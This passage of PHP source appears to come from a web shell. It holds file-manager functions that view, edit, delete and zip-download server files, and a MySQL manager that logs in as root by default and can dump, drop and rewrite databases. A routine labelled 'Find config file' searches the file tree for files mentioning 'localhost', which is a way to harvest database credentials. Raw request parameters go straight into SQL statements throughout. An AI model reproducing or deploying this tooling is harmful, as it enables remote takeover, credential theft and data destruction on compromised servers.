745 pack("V", strlen($ctrldir)).
746 pack("V", strlen($data)).
747 "\x00\x00";
748 }
749 function get_files_from_folder($directory, $put_into) {
750 $sp=DIRECTORY_SEPARATOR;
751 if ($handle = opendir($directory)) {
752 while (false !== ($file = readdir($handle))) {
753 if (is_file($directory.$file)) {
754 $fileContents = file_get_contents($directory.$file);
755 $this->add_file($fileContents, $put_into.$file);
756 }
757 elseif ($file != '.' && $file != '..' && is_dir($directory.$file))
758 {
759 $this->add_dir($put_into.$file.$sp);
760 $this->get_files_from_folder($directory.$file.$sp, $put_into.$file.$sp);
761 }
762 }
763 }
764 closedir($handle);
765 }
766 function get_selected_file($files, $put_into) {
767 $sp=DIRECTORY_SEPARATOR;
768 foreach ($files as $file) {
769 if (is_file($file)) {
770 $fileContents = file_get_contents($this->dir().$file);
771 $this->add_file($fileContents, $put_into.$file);
772 }
773 elseif (is_dir($file)) {
774 $fd=basename($file).DIRECTORY_SEPARATOR;
775 if ($handle = opendir($file)) {
776 while (false !== ($val = readdir($handle))) {
777 if (is_file($file.$val)) {
778 $fileContents = file_get_contents($file.$val);
779 $this->add_file($fileContents, $put_into.$fd.$val);
780 }
781 elseif ($val != '.' && $val != '..' && is_dir($file.$val))
782 {
783 $this->add_dir($put_into.$fd.$val.$sp);
784 $this->get_files_from_folder($file.$val.$sp, $put_into.$fd.$val.$sp);
785 }
786 }
787 }
788 closedir($handle);
789 }
790 }
791 }
792 function get_selected($file) {
793 $this->get_selected_file($file, '');
794 header("Content-Disposition: attachment; filename=" .$this->cs(basename($this->dir()))."-".".zip");
795 header("Content-Type: application/download");
796 header("Content-Length: " . strlen($this -> file()));
797 flush();
798 echo $this -> file();
799 exit();
800 }
801 function downloadfile($f)
802 {
803 $fl=file_get_contents($f);
804 header("Content-type:application/octet-stream");
805 header("Content-length:".strlen($fl));
806 header("Content-Disposition:attachment;filename=".$this->cs(basename($f)));
807 echo $fl;
808 exit;
809 }
810 function downloadfolder($fd) {
811 $this->get_files_from_folder($fd,'');
812 header("Content-Disposition: attachment; filename=" .$this->cs(basename($fd))."-".".zip");
813 header("Content-Type: application/download");
814 header("Content-Length: " . strlen($this -> file()));
815 flush();
816 echo $this -> file();
817 exit();
818 }
819
820 function cs($t) {
821 return str_replace(" ","_",$t);
822 }
823 function lihat($file) {
824 $r='';
825 $r.="<table align=center cellpadding=5 style='width:100%;font-size:12px;'><tr><td >Action</td>
826 <td ><a href='?act=edit&dir=".$this->dir()."&file=$file'>Edit</a> | <a href='?act=down&file=".$this->replace($file)."'>Download</a>
827 | <a href='?act=file&act2=del&file=".$this->replace($file)."'>Del</a></td></tr><table>";
828 $r.="<div id='see'>";
829 $file = wordwrap(file_get_contents($file),"240","\n");
830 $li= highlight_string($file,true);
831 $old = array("0000BB","000000","FF8000","DD0000", "007700");
832 $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
833 $r.= str_replace($old,$new, $li);
834 $r.="</div>";
835 return $r;
836 }
837 function edit($file) {
838 $d=$this->dir();
839 $fp = fopen($file,'r');
840 if (!$fp)
841 return false;
842 $r = '';
843 $r .= '<div id="isi"><form action="?act=file&dir='.$d.'&file='.$file.'" method="post"><input type="hidden" name="action" value="editfile">'.'<input type="hidden" name="file" value="'.$file.'"><tr>';
844 $r .= '<textarea name="isi">'.(htmlspecialchars(fread($fp, filesize($file)))).'</textarea><br />';
845 $r .= '<span style="color:#fff;margin-right:5px;text-align:center">Rename : </span><input type="text" name="rename" value="'.$file.'" style="width:800px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"></span> <br /><input type="submit" id="but" value="Save" /></td></tr>';
846 $r .= '</form></div>';
847 fclose($fp);
848 return $r;
849 }
850 function ren($file) {
851 $d=$this->dir();
852 $r='';
853 $r.="<div id='isi'><form action='?act=file&dir=".$d."' method='post'>";
854 $r.='<input type="hidden" name="action" value="renamed">';
855 $r.='<center><input type="text" name="file" value="'.$file.'" style="width:400px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"> To <input type="text" name="rename" style="width:400px;border:1px solid #00A600;-moz-border-radius:3px;-webkit-border-radius:3px;background:#000;color:#fff;padding:3px;"></center><br /><input type="submit" id="but" value="Rename"></form></div>';
856 return $r;
857 }
858 function login() {
859 if(!isset($_SESSION['login'])&&!isset($_POST['masuk']))
860 {
861 $r='';
862 $r.= '<div id="center"><form method="post" action="?act=mysql">Host : <input id="box" type="text" name="host" value="localhost">Username :<input type="text" name="user" id="box" value="root">Password <input type="text" id="box" name="pass"><input type="number" id="box" value="3306" name="port"><input type="submit" value="login" name="masuk" id="but"></div></form>';
863 return $r;
864 }
865 elseif(!isset($_SESSION['login'])&&isset($_POST['masuk']))
866 {
867 extract($_POST);
868 $this->pdo=$this->pdo_con($host,$port,$user,$pass);
869 if (strpos($this->pdo,"error")===false) {
870 $_SESSION['host']=$_POST['host'];
871 $_SESSION['port']=$_POST['port'];
872 $_SESSION['user']=$_POST['user'];
873 $_SESSION['pass']=$_POST['pass'];
874 $_SESSION['login']=true;
875 header("location:?act=view&dir=".$this->dir()."");
876 } else {
877 header("location:?act=mysql");
878 }
879 }
880 else header("location:?act=view&dir=".$this->dir()."");
881 }
882 function connector($db=NULL) {
883 extract($_SESSION);
884 try {
885 $this->pdo = new PDO("mysql:host=$host;dbname=$db;port=$port", "$user","$pass" );
886 $this->pdo->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
887 }
888 catch( PDOException $e ) {
889 return "error ". $e->getMessage();
890 }
891 }
892 function pdo_con($host,$port,$user,$pass) {
893 try {
894 $this->pdo = new PDO("mysql:host=$host;port=$port", "$user","$pass" );
895 $this->pdo->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
896 }
897 catch( PDOException $e ) {
898 return "error ". $e->getMessage();
899 }
900 }
901 function check() {
902 if (strpos($this->connector(), "error")===false) {
903 return true;
904 } else {
905 return false;
906 }
907 }
908 function qe( $sql,$data=null) {
909 if ($data!==null) {
910 $dat=array_values($data);
911 }
912 $sel = $this->pdo->prepare( $sql );
913 if ($data!==null) {
914 $sel->execute($dat);
915 } else {
916 $sel->execute();
917 }
918 $sel->setFetchMode( PDO::FETCH_OBJ );
919 return $sel;
920 }
921 function qer2( $sql) {
922 $sel = $this->pdo->prepare( $sql );
923 $sel->execute();
924 $sel->setFetchMode( PDO::FETCH_ASSOC );
925 return $sel;
926 }
927 function qer( $sql) {
928 $sel = $this->pdo->prepare( $sql );
929 $sel->execute();
930 return $sel;
931 }
932 function insert($table,$dat) {
933 if( $dat !== null )
934 $data = array_values( $dat );
935 $cols=array_keys($dat);
936 $col=implode(', ', $cols);
937 $mark=array();
938 foreach ($data as $key) {
939 $keys='?';
940 $mark[]=$keys;
941 }
942 $im=implode(', ', $mark);
943 $ins = $this->pdo->prepare("INSERT INTO $table ($col) values ($im)");
944 $ins->execute( $data );
945 }
946 function update($table,$dat,$id,$val) {
947 if( $dat !== null )
948 $data = array_values( $dat );
949 array_push($data,$val);
950 $cols=array_keys($dat);
951 $mark=array();
952 foreach ($cols as $col) {
953 $mark[]=$col."=?";
954 }
955 $im=implode(', ', $mark);
956 $ins = $this->pdo->prepare("UPDATE $table SET $im where $id=?");
957 $ins->execute( $data );
958 }
959 function toArray($d) {
960 if (is_object($d)) {
961 $d = get_object_vars($d);
962 }
963 if (is_array($d)) {
964 return array_map(array($this,'toArray'), $d);
965 }
966 else {
967
968 return $d;
969 }
970 }
971 function close()
972 {
973 $r=$this->pdo = null;
974 return $r;
975 }
976 function logout() {
977 extract($_SESSION);
978 return "<center>$user@$host <a href='?act=logout'>Logout</a></center>";
979 }
980 function lihatdb() {
981 $r='';
982 $c=$this->check();
983 if($c==true) {
984 $r.=$this->logout();
985 $r.="<div id='isi'><table width=50% align='center' cellspacing=0 class='xpltab'><tr><th>Database</th><th>Table count</th><th>Size</th><th>Download</th><th>Drop</th></tr>";
986 $list=$this->qe("SHOW DATABASES");
987 foreach ($list as $isi) {
988 $db_size=0;
989 $tbl=$this->qe("SHOW TABLES FROM $isi->Database");
990 $siz=$this->qe("SHOW TABLE STATUS FROM $isi->Database");
991 foreach ($siz as $ni) {
992 $db_size += $ni->Data_length+$ni->Index_length;
993 }
994 $tbl_count=$tbl->rowCount();
995 $r.= "<tr><td><a href='?act=showtable&db=$isi->Database'>$isi->Database</td><td>$tbl_count</td><td>".$this->getSize($db_size)."</td><td><a href='?act=downdb&db=$isi->Database'>Full</a> | <a href='?act=downstruc&db=$isi->Database'>Structures</a></td><td><a href='?act=dropdb&db=$isi->Database'>Drop</a></td></tr>";
996 }
997 $r.= "</table></br><center><form action='?act=mysql' method='post'>New database <input type='text' value='new_db' name='dbname' id='box'><input type='hidden' name='action' value='createdb'><input type='submit' value='create' id='but'></form></center>";
998 $r.="</div>";
999 }
1000 else {
1001 session_destroy();
1002 $r.="gagal brow";
1003 }
1004 $this->close();
1005 return $r;
1006 }
1007 function showtable() {
1008 $db=$_GET['db'];
1009 $c=$this->connector($db);
1010 $r='';
1011 $r.=$this->logout();
1012 $r.="<div id='isi'>
1013 <center><a href='?act=mysql'>Show Database</a></center><br />
1014 <table width=50% align='center' class='xpltab' cellspacing=0 ><tr><th style='border-left:thin solid #00A600;'>Table Name</th><th>Table Type</th><th>Column count</th><th>Size</th><th>Dump</th><th>Drop</th></tr>";
1015 $query=$this->qe("SHOW TABLE STATUS");
1016 foreach ($query as $data) {
1017 $iml=$this->qe("SHOW COLUMNS FROM $data->Name");
1018 $name=$data->Name;
1019 $ni=$data->Data_length+$data->Index_length;
1020 $h=($iml->rowCount())?$iml->rowCount():0;
1021 $r.= "<tr><td><a href='?act=showcon&db=$db&table=$name'>$name</td><td>".($data->Comment?$data->Comment:"<font color='#00A600'>TABLE</font>")."</td><td>$h</td><td>".$this->getSize($ni)."</td><td><a href='?act=downdb&db=$db&table=$name'>Dump</a></td><td><a href='?act=dropdb&db=$db&tbl=$name'>Drop</a></td></tr>";
1022 }
1023 $r.= "</table></div>";
1024 return $r;
1025 $this->close();
1026 }
1027 function editrow() {
1028 $c=$this->connector($_GET['db']);
1029 $r='';
1030 $r.=$this->logout();
1031 $db=$_GET['db'];
1032 $tbl=$_GET['table'];
1033 $val=$_GET['val'];
1034 $col=$_GET['col'];
1035 $r.="<div id='isi'>
1036 <center><a href='?act=showtable&db=$db'>Show Tables </a></center><br />";
1037 $r.="<form method='post' action='?act=showcon&db=$db&table=$tbl&col=$col&val=$val'>";
1038 $r.="<table width=100% align='center' cellspacing=0 class='xpltab'>";
1039 $cols=array();
1040 $iml=$this->qe("SHOW COLUMNS FROM $tbl");
1041 $query=$this->qer2("SELECT * FROM $tbl WHERE $col='$val'");
1042 foreach ($iml as $colom) {
1043 $cols[]=$colom->Field;
1044 }
1045 foreach ($query as $data) {
1046 for($i=0;$i<count($cols);$i++)
1047 {
1048 $pt=$cols[$i];
1049 $r.="<tr><td style='border:none'>".$pt."</td><td style='border:none'>".' : <input id="sqlbox" type="text" name="'.$cols[$i].'" value="'.$data[$pt].'"></td></tr>';
1050
1051 }
1052 }
1053 $r.="</table><input type='hidden' name='action' value='updaterow'><input id='but' type='submit' value='update'></form></div>";
1054 return $r;
1055 }
1056 function updaterow() {
1057 $this->connector($_GET['db']);
1058 $db=$_GET['db'];
1059 $tbl=$_GET['table'];
1060 $val=$_GET['val'];
1061 $col=$_GET['col'];
1062 array_pop($_POST);
1063 $res=$this->update($tbl,$_POST,$col,$val);
1064 ($res=false?$r.="you can't do that":$r.="Updated");
1065 $r.=header("location:?act=showcon&db=$db&table=$tbl");
1066 }
1067 function showcon() {
1068 $db=$_GET['db'];
1069 $c=$this->connector($db);
1070 $r='';
1071 $r.=$this->logout();
1072 $tbl=$_GET['table'];
1073 $r.="<div id='isi'><center><a href='?act=showtable&db=$db'>Show Tables </a></center><br /><table width=100% align='center' cellspacing=0 class='xpltab'><tr>";
1074 $query=$this->qe("SELECT * FROM $tbl");
1075 $col=array();
1076 $iml=$this->qe("SHOW COLUMNS FROM $tbl");
1077 $r.="<tr>";
1078 foreach ($iml as $c) {
1079 array_push($col,$c->Field);
1080 $r.="<th style='border:thin solid #000;'>".strtoupper($c->Field)."</th>";
1081 }
1082 $r.="<th>Action</th></tr>";
1083 $row=$query->rowCount();
1084 $perpage=50;
1085 $lastpage=ceil($row/$perpage);
1086 $range=10;
1087 $page=(isset($_GET['page']))?(int)$_GET['page']:1;
1088 if ($page<1) {
1089 $page=1;
1090 } elseif ($page>$lastpage) {
1091 $page=$lastpage;
1092 }
1093 $offset=($page-1)*$perpage;
1094 $no=$offset;
1095 if ($row <=50) {
1096 $query2=$this->qe("SELECT * FROM $tbl");
1097 } else {
1098 $query2=$this->qe("SELECT * FROM $tbl limit $offset,$perpage");
1099 }
1100
1101 if ($page<6 && $lastpage > $range) {
1102 $start=1;
1103 } elseif($page > 5 &&$lastpage >$range) {
1104 $start=$page-5;
1105 } else {
1106 $start=$lastpage-9;
1107 }
1108
1109 if ($page > 5 && $lastpage > $range) {
1110 $end=$page+4;
1111 } else {
1112 $end=$range;
1113 }
1114 foreach ($query2 as $data) {
1115 $cols=$iml->rowCount();
1116 $r.="<tr>";
1117 foreach ($data as $da) {
1118
1119 if ($da=='') {
1120 $r.="<td style='border-right:thin solid #00A600;'> </td>";
1121 } else {
1122 $r.="<td style='border-right:thin solid #00A600;'>$da</td>";
1123 }
1124 }
1125 $isi=array();
1126 foreach ($data as $isi_val) {
1127 $isi[]=$isi_val;
1128 }
1129 $r.="<td><a href='?act=editrow&db=$db&table=$tbl&col=$col[0]&val=$isi[0]'>Edit</a> | <a href='?act=delrow&db=$db&table=$tbl&col=$col[0]&val=$isi[0]'>Delete</a>";
1130 $r.="</td></tr>";
1131 }
1132 $r.="</table>";
1133 if ($row>=50) {
1134 $r.= "<p><center>page $page of $lastpage";
1135 $r.= "<a href='?page=".($page-1)."'> Previous </a>";
1136 for ($i=$start; $i <=$end ; $i++) {
1137 if ($i>0 && $i<=$lastpage) {
1138 if ($page==$i) {
1139 $r.= "<a style=\"padding:3px;color:#fff\" href='?act=showcon&db=$db&table=$tbl&page=".$i."'>$i </a>";
1140 }else {
1141 $r.= "<a style=\"padding:3px;\" href='?act=showcon&db=$db&table=$tbl&page=".$i."'>$i </a>";
1142 }
1143 }
1144 }
1145 $r.= "<a href='?page=".($page+1)."'>Next</a></center><br />";
1146 }
1147 $r.= "<br /><center><br><a href='?act=insertrow&db=$db&table=$tbl'><input type='button' id='but' value='Insert Row'></a></center></div>";
1148 return $r;
1149 }
1150 function insertrow() {
1151 $db=$_GET['db'];
1152 $this->connector($db);
1153 $db=$_GET['db'];
1154 $tbl=$_GET['table'];
1155 $r='';
1156 if(!isset($_POST['kirim']))
1157 {
1158 $r.="<div id='isi'><center><a href='?act=showtable&db=$db'>Show Tables </a></center><br />";
1159 $r.="<form method='post' action='?act=showcon&db=$db&table=$tbl'>";
1160 $r.="<table width=100% align='center' cellspacing=0 class='xpltab'>";
1161
1162 $cols=array();
1163 $iml=$this->qe("SHOW COLUMNS FROM $tbl");
1164 foreach ($iml as $colom) {
1165 $cols[]=$colom->Field;
1166 }
1167 for($i=0;$i<count($cols);$i++)
1168 {
1169 $pt=$cols[$i];
1170 $r.="<tr><td style='border:none'>".$pt."</td><td style='border:none'>".' : <input id="sqlbox" type="text" name="'.$cols[$i].'"></td></tr>';
1171 }
1172 $r.="</table><input type='hidden' name='action' value='insertrow'><input id='but' type='submit' name='kirim' value='Insert'></form></div>";
1173 return $r;
1174 } else {
1175 array_pop($_POST);
1176 array_pop($_POST);
1177 $this->insert($tbl,$_POST);
1178 ($qu=false?$r.="Failed brow":$r.="Success");
1179 $r.="<script>window.location='?act=showcon&db=$db&table=$tbl';</script>";
1180 }
1181 return $r;
1182 }
1183 function droprow() {
1184 $this->connector($_GET['db']);
1185 $this->qe("DELETE FROM $_GET[table] WHERE $_GET[col]='$_GET[val]'");
1186 $r.=header("location:?act=showcon&db=$_GET[db]&table=$_GET[table]");
1187 }
1188 function createdb($name) {
1189 $this->connector();
1190 if(!empty($name))
1191 {
1192 $q=$this->qe("CREATE DATABASE $name");
1193 (!$q?$r.=mysql_error():$r.="Good Brow");
1194 }
1195 else $r.="Fill DB Name";
1196 return $r;
1197 }
1198 function dropsql() {
1199 $this->connector();
1200 if(!isset($_GET['tbl'])){
1201 $d=$this->qe("DROP DATABASE $_GET[db]");
1202 header("location:?act=mysql");
1203 }
1204 elseif(isset($_GET['db'])&&isset($_GET['tbl']))
1205 {
1206 $this->qe("DROP TABLE $_GET[db].$_GET[tbl]");
1207 header("location:?act=showtable&db=$_GET[db]");
1208 }
1209 }
1210 function downdb()
1211 {
1212 $db=$_GET['db'];
1213 $c=$this->connector($db);
1214 $r='';
1215 if (isset($_GET['db'])&&!isset($_GET['table'])) {
1216 $r.="--------------------------------\n";
1217 $r.="-- =========================Bajax Mysql Dumper =============================\n-- Database : `$db`\n";
1218 $r.="-------------------------------\n\n";
1219 $pr=array();
1220 $fun=array();
1221 $show_table=$this->qe("SHOW PROCEDURE status where db='test'");
1222 foreach ($show_table as $key) {
1223 if (count($key)>0) {
1224 $proc=$this->qer("SHOW CREATE PROCEDURE test.$key->Name");
1225 foreach ($proc as $proced) {
1226 $pr[]=$proced[2];
1227 }
1228 }
1229 }
1230 $show_table=$this->qe("SHOW FUNCTION status where db='test'");
1231 foreach ($show_table as $key) {
1232 if (count($key)>0) {
1233 $proc=$this->qer("SHOW CREATE FUNCTION test.$key->Name");
1234 foreach ($proc as $proceds) {
1235 $fun[]=$proced[2];
1236 }
1237 }
1238 }
1239 $pro_func='';
1240 if (count($pr)>0 OR count($fun)>0) {
1241 $pro_func.="DELIMITER $$\n\n";
1242 if (count($pr)>0) {
1243 $pro_func.="--\n";
1244 $pro_func.="-- PROCEDURE\n";
1245 $pro_func.="--\n";
1246 foreach ($pr as $procedure) {
1247 $pro_func.=$procedure."$$\n\n";
1248 }
1249 }
1250 if (count($fun)>0) {
1251 $pro_func.="--\n";
1252 $pro_func.="-- FUNCTION\n";
1253 $pro_func.="--\n";
1254 foreach ($fun as $funct) {
1255 $pro_func.=$funct."$$\n\n";
1256 }
1257 }
1258 $pro_func.="DELIMITER ;\n\n";
1259 }
1260 $r.=$pro_func;
1261
1262 $table=array();
1263 $table_name=$this->qe("SHOW TABLE STATUS");
1264 foreach ($table_name as $d) {
1265 $table[]=$d->Name;
1266 }
1267 $status=array();
1268 $stats=$this->qe("SHOW TABLE STATUS");
1269 foreach ($stats as $stat) {
1270 $stats=array($stat->Name=>"");
1271 foreach ($stats as $key => $value) {
1272 if ($stat->Engine!=''&&$stat->Auto_increment!='') {
1273 $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation." AUTO_INCREMENT=".$stat->Auto_increment;
1274 }elseif ($stat->Engine!='') {
1275 $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation;
1276 }else {
1277 $status[]='';
1278 }
1279 }
1280 }
1281 foreach ($table as $tab) {
1282 $cols=$this->qe("SHOW COLUMNS FROM $tab");
1283 $inds=$this->qe("SHOW INDEX FROM $tab");
1284 $r.= "--\n";
1285 $r.= "-- Table structure for table `$tab`\n";
1286 $r.= "--\n\n";
1287 $r.= "CREATE TABLE IF NOT EXISTS `$tab` (\n";
1288 $c='';
1289 foreach ($cols as $col) {
1290 $c.= "`$col->Field` $col->Type ";
1291 if($col->Null=='YES' && $col->Default=='') {
1292 $c.= "DEFAULT NULL";
1293 }elseif($col->Null=='NO') {
1294 $c.= 'NOT NULL';
1295 }elseif ($col->Null=='YES'&&$col->Default!='') {
1296 $c.= "DEFAULT $col->Default";
1297 }
1298 if ($col->Extra!='') {
1299 $c.= " ".strtoupper($col->Extra);
1300 }
1301 $c.= ", \n";
1302 }
1303 $ar=array();
1304 foreach ($inds as $key) {
1305 $ar[]=$key;
1306 }
1307 $sr=array();
1308 $s=$this->toArray($ar);
1309 foreach ($s as $key) {
1310 if (strpos($key['Key_name'],"PRIMARY")!==false) {
1311 $sr[]= "PRIMARY KEY "."(`$key[Column_name]`)";
1312 }elseif (strpos($key['Key_name'], "FK")!==false) {
1313 $sr[]="KEY "."`$key[Key_name]` (`$key[Column_name]`)";
1314 }
1315 }
1316 $imp=implode(", \n", $sr);
1317 if ($imp=='') {
1318 $r.= substr($c, 0,-3)."\n";
1319 } else {
1320 $r.= $c.$imp."\n";
1321 }
1322 $r.= ")";
1323 foreach ($status as $key => $value) {
1324 if ($tab==$key) {
1325 $r.= $value.";\n\n";
1326 }
1327 }
1328 $select=$this->qer2("SELECT * FROM $tab");
1329 foreach ($select as $data) {
1330 if (!empty($data)) {
1331 $col=implode(', ',array_keys($data));
1332 $val=implode("', '",array_values($data));
1333 $r.= "INSERT INTO `$tab` ($col) VALUES ('$val');\n";
1334 }
1335 }
1336 $r.= "\n";
1337 }
1338 $view=array();
1339 $views=$this->qer("SHOW FULL TABLES where Table_type like 'VIEW'");
1340 foreach ($views as $ve) {
1341 $view[]=$ve;
1342 }
1343 if (count($view)>0) {
1344 foreach ($view as $view_name) {
1345 $view_create=$this->qer("SHOW CREATE VIEW $view_name[0]");
1346 foreach ($view_create as $create_view) {
1347 echo "DROP TABLE IF EXISTS `$view_name[0]`;\n".$create_view[1].";\n\n";
1348 }
1349 }
1350 }
1351 $index2=array();
1352 foreach ($table as $tab2) {
1353 if (count($tab2)>0) {
1354 $find_const=$this->qer("SHOW CREATE TABLE $tab2");
1355 foreach ($find_const as $got_const) {
1356 $tmp=strstr($got_const[1], "CONSTRAINT")."\n";
1357 preg_match_all("/(.*)\\n/", $tmp, $match);
1358 if (count($tmp)>0) {
1359 $index2[]="ALTER TABLE `$tab2` ADD ".$match[0][0].";";
1360 }
1361 }
1362 }
1363 }
1364 if (count($index2)>0) {
1365 foreach ($index2 as $constraint) {
1366 if (strpos($constraint, "CONSTRAINT")!==FALSE) {
1367 $r.= $constraint."\n";
1368 }
1369 }
1370 }
1371 }
1372 //downloading database
1373 elseif(isset($_GET['db'])&&isset($_GET['table']))
1374 {
1375 $r='';
1376 $tbl=$_GET['table'];
1377 $r.="-- =========================Bajax Table Dumper =============================\n-- Database : `$db`\n\n";
1378 $r.="--\n";
1379 $r.="--Table or view structure for `$tbl`\n";
1380 $r.="--\n\n";
1381 $checks=$this->qer("SHOW CREATE TABLE $tbl");
1382 foreach ($checks as $check) {
1383 $r.=$check[1]."\n";
1384 }
1385 $checks=$this->qer("SHOW FULL TABLES");
1386 foreach ($checks as $check_type) {
1387 if ($check_type[0]==$tbl&&$check_type[1]=='BASE TABLE') {
1388 $select=$db->qer2("SELECT * FROM $tbl");
1389 foreach ($select as $data) {
1390 if (!empty($data)) {
1391 $col=implode(', ',array_keys($data));
1392 $val=implode("', '",array_values($data));
1393 $r.="INSERT INTO `$tbl` ($col) VALUES ('$val');\n";
1394 }
1395 }
1396 }
1397 }
1398 }
1399 else echo "i don't know brow";
1400
1401 (!isset($tbl)?$name="$db.sql":$name="$db.$tbl.sql");
1402 ob_get_clean();
1403 header("Content-type:application/octet-stream");
1404 header("Content-length:".strlen($r));
1405 header("Content-Disposition:attachment;filename=$name;");
1406 echo $r;
1407 exit();
1408 }
1409 function downstruc() {
1410 $db=$_GET['db'];
1411 $c=$this->connector($db);
1412 $r='';
1413 if(isset($_GET['db'])&&!isset($_GET['tbl'])) {
1414
1415 $r.="--------------------------------\n";
1416 $r.="-- =========================Bajax Mysql Dumper Structures =============================\n-- Database : `$db`\n";
1417 $r.="-------------------------------\n\n";
1418 $pr=array();
1419 $fun=array();
1420 $show_table=$this->qe("SHOW PROCEDURE status where db='test'");
1421 foreach ($show_table as $key) {
1422 if (count($key)>0) {
1423 $proc=$this->qer("SHOW CREATE PROCEDURE test.$key->Name");
1424 foreach ($proc as $proced) {
1425 $pr[]=$proced[2];
1426 }
1427 }
1428 }
1429 $show_table=$this->qe("SHOW FUNCTION status where db='test'");
1430 foreach ($show_table as $key) {
1431 if (count($key)>0) {
1432 $proc=$this->qer("SHOW CREATE FUNCTION test.$key->Name");
1433 foreach ($proc as $proceds) {
1434 $fun[]=$proced[2];
1435 }
1436 }
1437 }
1438 $pro_func='';
1439 if (count($pr)>0 OR count($fun)>0) {
1440 $pro_func.="DELIMITER $$\n\n";
1441 if (count($pr)>0) {
1442 $pro_func.="--\n";
1443 $pro_func.="-- PROCEDURE\n";
1444 $pro_func.="--\n";
1445 foreach ($pr as $procedure) {
1446 $pro_func.=$procedure."$$\n\n";
1447 }
1448 }
1449 if (count($fun)>0) {
1450 $pro_func.="--\n";
1451 $pro_func.="-- FUNCTION\n";
1452 $pro_func.="--\n";
1453 foreach ($fun as $funct) {
1454 $pro_func.=$funct."$$\n\n";
1455 }
1456 }
1457 $pro_func.="DELIMITER ;\n\n";
1458 }
1459 $r.=$pro_func;
1460
1461 $table=array();
1462 $table_name=$this->qe("SHOW TABLE STATUS");
1463 foreach ($table_name as $d) {
1464 $table[]=$d->Name;
1465 }
1466 $status=array();
1467 $stats=$this->qe("SHOW TABLE STATUS");
1468 foreach ($stats as $stat) {
1469 $stats=array($stat->Name=>"");
1470 foreach ($stats as $key => $value) {
1471 if ($stat->Engine!=''&&$stat->Auto_increment!='') {
1472 $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation." AUTO_INCREMENT=".$stat->Auto_increment;
1473 }elseif ($stat->Engine!='') {
1474 $status[]="ENGINE=".$stat->Engine." DEFAULT COLLATE=".$stat->Collation;
1475 }else {
1476 $status[]='';
1477 }
1478 }
1479 }
1480 foreach ($table as $tab) {
1481 $cols=$this->qe("SHOW COLUMNS FROM $tab");
1482 $inds=$this->qe("SHOW INDEX FROM $tab");
1483 $r.= "--\n";
1484 $r.= "-- Table structure for table `$tab`\n";
1485 $r.= "--\n\n";
1486 $r.= "CREATE TABLE IF NOT EXISTS `$tab` (\n";
1487 $c='';
1488 foreach ($cols as $col) {
1489 $c.= "`$col->Field` $col->Type ";
1490 if($col->Null=='YES' && $col->Default=='') {
1491 $c.= "DEFAULT NULL";
1492 }elseif($col->Null=='NO') {
1493 $c.= 'NOT NULL';
1494 }elseif ($col->Null=='YES'&&$col->Default!='') {
1495 $c.= "DEFAULT $col->Default";
1496 }
1497 if ($col->Extra!='') {
1498 $c.= " ".strtoupper($col->Extra);
1499 }
1500 $c.= ", \n";
1501 }
1502 $ar=array();
1503 foreach ($inds as $key) {
1504 $ar[]=$key;
1505 }
1506 $sr=array();
1507 $s=$this->toArray($ar);
1508 foreach ($s as $key) {
1509 if (strpos($key['Key_name'],"PRIMARY")!==false) {
1510 $sr[]= "PRIMARY KEY "."(`$key[Column_name]`)";
1511 }elseif (strpos($key['Key_name'], "FK")!==false) {
1512 $sr[]="KEY "."`$key[Key_name]` (`$key[Column_name]`)";
1513 }
1514 }
1515 $imp=implode(", \n", $sr);
1516 if ($imp=='') {
1517 $r.= substr($c, 0,-3)."\n";
1518 } else {
1519 $r.= $c.$imp."\n";
1520 }
1521 $r.= ")";
1522 foreach ($status as $key => $value) {
1523 if ($tab==$key) {
1524 $r.= $value.";\n\n";
1525 }
1526 }
1527 $r.= "\n";
1528 }
1529 $view=array();
1530 $views=$this->qer("SHOW FULL TABLES where Table_type like 'VIEW'");
1531 foreach ($views as $ve) {
1532 $view[]=$ve;
1533 }
1534 if (count($view)>0) {
1535 foreach ($view as $view_name) {
1536 $view_create=$this->qer("SHOW CREATE VIEW $view_name[0]");
1537 foreach ($view_create as $create_view) {
1538 echo "DROP TABLE IF EXISTS `$view_name[0]`;\n".$create_view[1].";\n\n";
1539 }
1540 }
1541 }
1542 $index2=array();
1543 foreach ($table as $tab2) {
1544 if (count($tab2)>0) {
1545 $find_const=$this->qer("SHOW CREATE TABLE $tab2");
1546 foreach ($find_const as $got_const) {
1547 $tmp=strstr($got_const[1], "CONSTRAINT")."\n";
1548 preg_match_all("/(.*)\\n/", $tmp, $match);
1549 if (count($tmp)>0) {
1550 $index2[]="ALTER TABLE `$tab2` ADD ".$match[0][0].";";
1551 }
1552 }
1553 }
1554 }
1555 if (count($index2)>0) {
1556 foreach ($index2 as $constraint) {
1557 if (strpos($constraint, "CONSTRAINT")!==FALSE) {
1558 $r.= $constraint."\n";
1559 }
1560 }
1561 }
1562 $name="$db.sql";
1563 ob_get_clean();
1564 header("Content-type:application/octet-stream");
1565 header("Content-length:".strlen($r));
1566 header("Content-Disposition:attachment;filename=$name;");
1567 echo $r;
1568 exit();
1569 }
1570 }
1571 function locate() {
1572 $r="<div id='isi'>";
1573 if (isset($_POST['cari'])) {
1574 $r.="<table width='100%'' class='xpltab'><tr><th>These Files Probably config File</th></tr>";
1575 $r.=$this->loc($_POST['addr']);
1576 $r.="</table>";
1577 }else {
1578 $r="<center><form method='post' action='?act=loc&dir=".$this->dir()."'>Find config file<p /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('loc')."<p /><input type='submit' name='cari' id='but' value='Search'></form></center>";
1579 }
1580 $r.="</div>";
1581 return $r;
1582 }
1583 function loc($dir) {
1584 $r='';
1585 if($files = @scandir($dir)) {
1586 foreach($files as $file) {
1587 if($file != '.' && $file != '..') {
1588 if(@is_dir($dir."\\".$file)) {
1589 $r.=$this->loc($dir.$file.DIRECTORY_SEPARATOR);
1590 } else {
1591 $sp = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
1592 if($sp)
1593
1594 if((stripos($sp, "\"localhost\""))|| (stripos($sp,'localhost'))) {
